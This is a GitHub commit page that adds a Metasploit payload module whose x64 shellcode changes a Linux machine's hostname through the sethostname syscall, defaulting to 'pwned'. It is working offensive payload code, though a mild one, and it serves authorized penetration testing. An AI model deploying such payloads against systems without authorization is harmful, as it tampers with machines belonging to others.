Skip to content

Commit 539514b

Browse files
author
Muzaffer Umut ŞAHİN
committed
Add payload/linux/x64/set_hostname module.
This payload sets the hostname of a Linux x64 machine by using the sethostname syscall.
1 parent 04a6185 commit 539514b

File tree

1 file changed

+57
-0
lines changed

1 file changed

+57
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
8+
CachedSize = 28
9+
10+
include Msf::Payload::Single
11+
include Msf::Payload::Linux
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Linux Set Hostname',
16+
'Description' => 'Sets the hostname of the machine.',
17+
'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>',
18+
'License' => MSF_LICENSE,
19+
'Platform' => 'linux',
20+
'Arch' => ARCH_X64,
21+
'Privileged' => true
22+
))
23+
24+
register_options(
25+
[
26+
OptString.new('HOSTNAME', [true, 'The hostname to set.','pwned'])
27+
])
28+
end
29+
30+
def generate(_opts = {})
31+
hostname = (datastore['HOSTNAME'] || 'pwned').gsub(/\s+/, '') # remove all whitespace from hostname.
32+
length = hostname.length
33+
if length > 0xff
34+
fail_with(Msf::Module::Failure::BadConfig, "HOSTNAME must be less than 255 characters.")
35+
end
36+
37+
payload = %Q^
38+
xor rax, rax
39+
xor rsi, rsi
40+
push rax ; push the null byte of the hostname string to stack.
41+
mov al, 170 ; sethostname() syscall number.
42+
jmp str
43+
44+
end:
45+
mov sil, #{length}
46+
pop rdi ; rdi points to the hostname string.
47+
syscall
48+
ret ; break the loop by causing segfault.
49+
50+
str:
51+
call end
52+
db "#{hostname}"
53+
^
54+
55+
Metasm::Shellcode.assemble(Metasm::X64.new,payload).encode_string
56+
end
57+
end

0 commit comments

Comments
 (0)